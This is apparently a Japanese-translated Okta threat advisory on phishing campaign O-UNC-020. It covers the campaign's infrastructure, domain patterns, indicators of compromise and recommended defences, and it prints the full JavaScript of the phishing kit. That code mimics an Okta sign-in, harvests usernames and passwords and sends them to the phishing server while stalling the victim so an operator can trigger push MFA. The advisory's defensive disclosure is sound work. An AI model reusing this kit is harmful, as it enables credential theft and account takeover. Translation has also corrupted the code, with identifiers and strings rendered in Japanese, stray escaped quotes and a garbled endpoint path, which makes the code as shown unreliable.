概要
2025年5月、Okta脅威インテリジェンスチームは、現在特定されていない、暗号資産分野で事業を展開する組織を主な標的とするフィッシング関連のアクティビティのクラスター(O-UNC-020)を観測しました。
O-UNC-020は2024年10月に初めて確認され、暗号通貨、Eメールマーケティング、マーケティングオートメーション、セールスオートメーション、CRMを運営する組織を標的にしていました。
本アドバイザリでは、観測された戦術、テクニック、手順(TTP)の詳細と、この活発な脅威に関連する侵害指標(IOC)を提供します。
このキャンペーンは、パスワードを主要な認証者とし、プッシュ通知を第二要因として使用してブラウザベースのApplication (アプリケーション)へのアクセスを保護しているすべての組織にとって、特に関心のあるものとなるはずです。攻撃者が使用したフィッシングキット(以下で分析)は、ターゲットのユーザー名とパスワードをキャプチャし、攻撃者が管理するサーバーに送信するものです。ターゲットのユーザーには、追加のコンテンツがロードされているかのように見えるページが表示されます。フィッシングキットのオペレーターが自分のブラウザから認証情報を入力し、プッシュ通知をトリガーするためです。
この情報は、組織がこのキャンペーンによってもたらされるリスクを理解し、軽減できるように、情報提供およびインテリジェンス提供を目的として提供されています。
脅威分析
2025年5月のキャンペーンの分析により、悪意のあるフィッシングページをホストするために使用された以下のインフラストラクチャが特定されました。これらのページは、不正なOktaサインインウィジェットを表示します。
- 91.212.166[.]185- AS198953 - Proton66 OOO
- 196.251.84[.]3 - AS401120 - cheapy.host LLC
- 193.24.123[.]162- AS200593 - PROSPERO OOO
そして、以下のドメインパターンを使用しました:
- <customer>-sso.com
- <customer>-okta.com
- ログイン-<customer>.com
- mail-<customer>.com
アカウント乗っ取り活動
ユーザーの認証情報が侵害された後、攻撃者は以下のIPアドレスから認証を試みているのが確認されました。
- 154.221.58[.]232 - AS202656 - XServerCloud
- 213.209.137[.]210- AS62240 - Clouvider
- 46.232.37[.]58 - AS62240 - Clouvider
認証の試行中、攻撃者はProxyline.netに関連付けられたIPアドレスを使用していることが確認されました。ロシアの大規模なデータセンターのプロキシ・プロバイダー。このサービスは、高速IPv4およびIPv6のHTTPおよびSOCKSプロキシ・サーバーの広範なネットワークを提供し、さまざまなグローバル・ロケーションを介してトラフィックをルーティングするために使用できます。ProxyLineは、ログなしポリシーを掲示し、暗号通貨での支払いを受け付けます。これらの機能は、匿名性を維持し、検出を回避しようとするサイバー犯罪者、国家が支援するアクター、その他の悪意のあるエンティティにとって特に魅力的です。
フィッシングキットの特性
- このフィッシングキットは、2段階のログインプロセスを提供します。まず、ユーザー名(入力ID usernameInput)を要求し、次に、シミュレートされた遅延の後、パスワード(入力ID passwordInput)を要求します。
- 収集されたユーザー名とパスワードは、静的な csrf_token(模倣の一部)とともに、フィッシングサーバー上の相対パス API/v1/ログイン に AJAX POST リクエストで送信されます。
- 資格情報を送信した後、ページは処理の遅延(setTimeout)をシミュレートし、/oauth_awaitという名前のページにユーザーをリダイレクトしようとします。これは、ユーザーの主要な認証情報が正常に入力されたという錯覚をさらに進めるために設計された、攻撃者が制御する別のページです。
- ユーザーのWebブラウザで直接実行されるjavascriptコードとoauth_awaitページへのリダイレクトは、人間のオペレーターによるリアルタイムの認証情報の収集を示しています。攻撃者は、収集した認証情報をターゲットの本番Oktaサービスに入力して、プッシュ通知をトリガーしようとします。正しいパスワードを入力したと思い込んでいるユーザーは、メッセージに表示されているコンテキストを確認せずに、攻撃者によって生成されたプッシュ通知を受け入れてしまう可能性があります。
- 動的に生成されたURL(<org>.okta.com%2Fenduser%2Fcallback)内のredirect_uriは正当なものであり、攻撃者は認証情報を盗んだ後、このリンクを介してユーザーをリダイレクトしようとする可能性があります。
<script>
if (!window.location.href.includes('?')){
function generateRandomString(length) {
const charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < length; i++) {
result += charset.charAt(Math.floor(Math.random()* charset.length));
}
return result;
}
const clientId = sessionStorage.getItem('client_id')|| 'okta.' + generateRandomString(32);
sessionStorage.setItem('client_id',clientId);
const codeChallenge = sessionStorage.getItem('code_challenge')|| generateRandomString(43);
sessionStorage.setItem('code_challenge',codeChallenge);
const nonce = sessionStorage.getItem('nonce')|| generateRandomString(22);
sessionStorage.setItem('nonce',nonce);
const state = sessionStorage.getItem('state')|| generateRandomString(40);
sessionStorage.setItem('state',state);
let currentPage = window.location.pathname;
currentPage = currentPage.replace(/\.php$/,'');
const newUrl = `${currentPage}?
client_id=${clientId}&code_challenge=${codeChallenge}&code_challenge_method=S256&nonce=
${nonce}&redirect_uri=
https%3A%2F%2Fredacted.okta.com%2Fenduser%2Fcallback&response_type=code&state=${state}&scope=openid%20
profile%20email%20okta.users.read.self%20okta.users.manage.self %20okta.internal.enduser.read%20okta.internal.endus
er.manage%20okta.enduser.dashboard.read%20okta.enduser.dashboard.manage %20okta.myAccount.sessions.manage`
;
window.location.href = newUrl;
}
$(document).ready(function(){
$('#usernameInput').keyup(function() {
if ($(this).val()== '') {
$("#inputDispaly").show();
$("#roleAlertDisplay").show();
} else {
$("#inputDispaly").hide();
}
});
$('#passwordInput').keyup(function() {
if ($(this).val()== '') {
$(\"#displayPasswordErrorText\").show();
$("#passwordContainerError").show();
} else {
$("#displayPasswordErrorText").hide();
}
});
$('#username-saving').on('submit', function(event) {
event.preventDefault();
});
$('#パスワード-saving').on('submit', function(event) {
event.preventDefault();
});
$('#usernameInput').on('keyup', function(event) {
if (event.key === 'Enter' || event.keyCode === 13) {
event.preventDefault();
$('next_username_button').click();
}
});
$('#passwordInput').on('keyup', function(event) {
if (event.key === 'Enter' || event.keyCode === 13) {
event.preventDefault();
$('#next_pass_button').click();
}
});
$('.password-toggle').on('click',function() {
const $passwordInput = $('#passwordInput');
const $showIcon = $('.button-show');
const $hideIcon = $('.button-hide');
if ($passwordInput.attr('type')=== 'password') {
$passwordInput.attr('type','text');
$showIcon.hide();
$hideIcon.show();
} else {
$passwordInput.attr('type','password');
$showIcon.show();
$('.hideIcon').hide();
}
});
$('#input36').on('click', function() {
const isChecked = $(this).prop('checked');
if (isChecked) {
$('#input36_check').addClass('checked');
} else {
$('#input36_check').removeClass('checked');
}
});
const loginUsername = $("#next_username_button");
const loginPassword = $("#next_pass_button");
loginUsername.click(function() {
const username = $('#usernameInput').val();
$("#inputDispaly").hide();
$(\"#roleAlertDisplay\").hide();
if (username == '') {
$("#inputDispaly").show();
$("#roleAlertDisplay").show();
return;
}
loginUsername.attr('disabled', true);
loginUsername.addClass('link-button-disabled btn-disabled');
$("#username-saving").addClass('o-form-saving');
setTimeout( function (){
$(".okta-username-section").hide();
$(".okta-password-section").show();
$("#insertUsernameValue").text(username);
$('#passwordInput').focus();
return
}, 1500);
});
loginPassword.click(function() {
const パスワード = $('#passwordInput').val();
$("#displayPasswordErrorText").hide();
$("#passwordContainerError").hide();
if (パスワード == '') {
$(\"#displayPasswordErrorText\").show();
$("#passwordContainerError").show();
return;
}
loginPassword.attr('disabled', true);
loginPassword.addClass('link-button-disabled btn-disabled');
$("#password-saving").addClass('o-form-saving');
const payload = {
username: $('#usernameInput').val(),
パスワード: $('#passwordInput').val(),
csrf_token: $("input[name=csrf_token]").val(),
page: 'ログイン'
};
$.ajax({
url: 'api/v1/login',
type: 'POST',
data: payload,
success: function(response) {
setTimeout( function (){
window.location.href = "oauth_await";
return
}, 1500);
},
error: function(err) {
console.log('Error sending data:', err);
alert('Error, please refresh the page');
}
});
});
});
</script>
脅威対策
実施している対策
この脅威を軽減するために、以下の活動に積極的に取り組んでいます。
- このキャンペーンに関連する新しく登録されたフィッシングドメインとインフラストラクチャを継続的に監視します。
- 関連するレジストラおよびホスティングプロバイダーに虐待報告を積極的に提出して、特定された悪意のあるサイトのテイクダウン要求を開始します。
- 組織がOkta環境のセキュリティを強化し、侵害された可能性のあるアカウントに関連する不審なアクティビティを調査するための支援とガイダンスを提供します。
- 今後の活動を観察しながら、このアドバイザリのアップデートを公開しています。
保護制御
お客様への推奨事項:
- Okta FastPass、FIDO2 WebAuthn、スマートカードなどの強力な認証器にユーザーを登録し、ポリシーでフィッシング耐性を強制します。Okta Verifyプッシュ通知に対して例外を作成する場合は、すべてのサインイン試行またはリスクの高いサインイン試行に対して、数値課題を強制することをお勧めします。
- Okta認証ポリシーを使用して、顧客が設定可能な条件に基づいてユーザーアカウントへのアクセスを制限することもできます。管理者は、Endpoint Managementツールによって管理され、エンドポイントセキュリティツールによって保護されているデバイスへの機密性の高いアプリケーションへのアクセスを制限することをお勧めします。感度の低いアプリケーションへのアクセスには、登録済みデバイス(Okta FastPassを使用)で、基本的な衛生状態の指標を示すものを要求します。
- まれにしか使用されないネットワークからのリクエストを拒否するか、より保証レベルが高いを要求します。Okta Network Zonesを使用すると、アクセスは場所、ASN(自律システム番号)、IP、およびIPタイプ(既知の匿名化プロキシを識別できる)によって制御できます。
- Okta Behavior and Risk evaluationsを使用して、以前に確立されたユーザーアクティビティのパターンから逸脱したアプリケーションへのアクセス要求を特定できます。このコンテキストを使用して、要求をステップアップまたは拒否するようにポリシーを設定できます。
- ユーザーに、疑わしいE メール、フィッシングサイト、および攻撃者が使用する一般的なソーシャルエンジニアリングの手口の兆候を特定するように指導します。エンドユーザー通知と不審なアクティビティの報告を設定して、ユーザーが潜在的な問題を簡単に報告できるようにします。
- ITサポート担当者に連絡するリモートユーザーのアイデンティティを検証するための標準化されたプロセスを文書化、普及、および遵守します(逆も同様)。
- 管理者アクセスに対して「ゼロ・スタンディング・プリビレッジ(Zero Standing Privileges)」のアプローチを取ってください。管理者には、日常業務に必要な最小限の権限を持つカスタム管理者ロールを割り当て、より特権的なロールへのJIT(ジャストインタイム)アクセスには二重認証を要求してください。
- 盗まれた管理セッションのリプレイを防ぐために、すべての管理アプリにIPセッションバインディングを適用してください。
- 管理ユーザーが機密性の高い操作を実行しようとするたびに再認証を強制するために、Protected Actionsを有効にします。
フィッシングインフラストラクチャの監視と対応:
- アプリケーション・ログ(Oktaログ、Webプロキシ、E メール・システム、DNSサーバー、ファイアウォール)で、そのような疑わしいドメインとの通信の証拠がないか確認する。
- ドメインを定期的に監視して、コンテンツが変更されているかどうか確認してください。
- ドメインでホストされているコンテンツが著作権または法的マークに違反している場合は、証拠を提供し、ドメインレジストラやWebホスティングプロバイダーに削除リクエストを発行することを検討してください。
付録A:侵害指標
これは現在も進行中の調査であり、キャンペーンの展開に伴い、追加のIOCが特定される可能性があります。組織は、警戒を怠らず、推奨される軽減戦略を実行することが推奨されます。以下に確認されたIOCを示します。
| タイプ | 指標 | コメント | 確認場所 |
|---|---|---|---|
| IP Address (IP アドレス) | 172.67.148[.]2 | AS13335 - Cloudflare, Inc. | 2025-04-19 |
| IP Address (IP アドレス) | 77.37.76[.]235 | AS47583 - Hostinger International Limited | 2025-04-22 |
| IP Address (IP アドレス) | 67.205.29[.]179 | AS26347 - New Dream Network, LLC | 2025/04/18 |
| IP Address (IP アドレス) | 147.93.54[.]103 | AS47583 - Hostinger International Limited | 2025-04-19 |
| IP Address (IP アドレス) | 178.218.166[.]217 | AS12417 - Plus Hosting Grupa d.o.o. | 2025/04/18 |
| IP Address (IP アドレス) | 104.136.213[.]185 | AS33363 - Charter Communications, Inc | 2025年4月17日 |
| IP Address (IP アドレス) | 12.183.232[.]42 | AS7018 - AT&T エンタープライズ, LLC | 2025年4月15日 |
| IP Address (IP アドレス) | 160.7.237[.]192 | AS36223 - Spanish Fork City | 2025/04/18 |
| IP Address (IP アドレス) | 162.251.115[.]229 | AS11059 - MIFFLIN COUNTY WIRELESS LLC | 2025-04-16 |
| IP Address (IP アドレス) | 168.235.210[.]141 | AS13428 - Surf Air Wireless, LLC | 2025-04-14 |
| IP Address (IP アドレス) | 172.220.33[.]240 | AS20115 - Charter Communications LLC | 2025/04/18 |
| IP Address (IP アドレス) | 174.68.140[.]219 | AS22773 - Cox Communications Inc. | 2025年4月17日 |
| IP Address (IP アドレス) | 212.102.44[.]112 | AS60068 - Datacamp Limited | 2025-04-14 |
| IP Address (IP アドレス) | 45.48.112[.]118 | AS20001 - Charter Communications Inc | 2025年4月15日 |
| IP Address (IP アドレス) | 45.49.235[.]225 | AS20001 - Charter Communications Inc | 2025年4月15日 |
| IP Address (IP アドレス) | 71.224.199[.]104 | AS7922 - Comcast Cable Communications, LLC | 2025/04/18 |
| IP Address (IP アドレス) | 74.101.135[.]58 | AS701 - Verizon Business | 2025年4月15日 |
| IP Address (IP アドレス) | 98.54.180[.]132 | AS7922 - Comcast Cable | 2025-04-16 |
見積もりに関する注記:
Oktaの脅威インテリジェンスチームは、米国国家情報ディレクター室のコミュニティ指令203 - 分析標準に概説されているように、可能性または確率を表すために次の用語を使用します。
| 可能性 | ほぼ 不可能 | 非常に ありそうにない | ありそうにない | おおよそ 五分五分の確率 | 高い可能性 | 可能性は非常に高い | ほぼ 確実(に) |
|---|---|---|---|---|---|---|---|
| 確率 | リモート | 非常に ありそうにない | ありそうもない | ほぼ 互角 | 可能性が高い | 可能性が非常に高い | ほぼ 確実 |
| Percentage | 1~5% | 5~20% | 20~45% | 45-55% | 55~80% | 80〜95% | 95~99% |